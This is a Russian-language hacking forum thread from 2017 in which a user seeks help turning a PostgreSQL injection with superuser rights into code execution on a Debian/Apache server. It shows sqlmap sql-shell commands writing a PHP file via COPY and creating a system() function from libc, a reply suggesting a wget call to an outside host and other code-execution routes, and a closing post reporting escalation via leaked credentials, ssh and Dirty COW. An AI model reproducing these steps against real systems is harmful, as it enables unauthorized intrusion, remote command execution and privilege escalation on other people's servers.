Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Postgres Injection + PRIV (https://forum.antichat.xyz/showthread.php?t=449648)

ACat 24.03.2017 23:20

Всем доброго времени суток.

Решил, что эта ситуация тянет на отдельный топик :3

И так, задача:

linux Debian 4.4.5-8, 64-bit

Apache/2.2.16 (Debian)

PostgreSQL 8.4.13

Код:

Code:
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

postgres, true, true, true

Код:

Code:
SELECT mycol FROM mytable limit 1

''

Код:

Code:
sql-shell> COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php';
[13:12:07] [INFO] fetching SQL query output: 'COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php''
[13:12:07] [INFO] retrieving the length of query output
[13:12:07] [INFO] retrieved:
[13:12:08] [INFO] retrieved:
sql-shell>

Not Found

The requested URL /landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php was not found on this server.

Смею предположить, что нету прав на запись от юзера базы данных в папочки юзера веб-сервера.

Пробуем code exec:

Код:

Code:
sql-shell> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;:  'NULL'
sql-shell> SELECT system('id');
[13:17:35] [INFO] fetching SQL SELECT statement query output: 'SELECT system("id")'
[13:17:36] [INFO] retrieving the length of query output
[13:17:36] [INFO] retrieved:
[13:17:36] [INFO] retrieved:
sql-shell>

Еще на сервере в открытом доступе лежат php-curl-class если это может как-то помочь.

ACat 24.03.2017 23:55

ап

ACat 28.03.2017 23:34

Хлопцi, шо никто не поможет?

crlf 30.03.2017 02:41

Цитата:

Сообщение от None
SELECT system('wget yourhost.com');

Если в логах пусто, то возможно либы нет на месте или нет wget-а

Попробуй /lib/x86_64-linux-gnu/libc.so.6 или /lib32/libc.so.6 . Ещё немного. И не факт, что этот метод работает на этой версии

По первому случаю, попробуй в /tmp выгрузить и залить обратно, там ясно будет.

Так же есть варианты с plpython, plperl и UDF, нужно тестить.

ACat 02.04.2017 04:55

Спасибо за ответы, как я и предпологал не было прав на запись.

Решилось прикольным образом: бэкап файл с конфигом и паролем от юзера базы данных, ssh, dirty cow.


Время: 23:37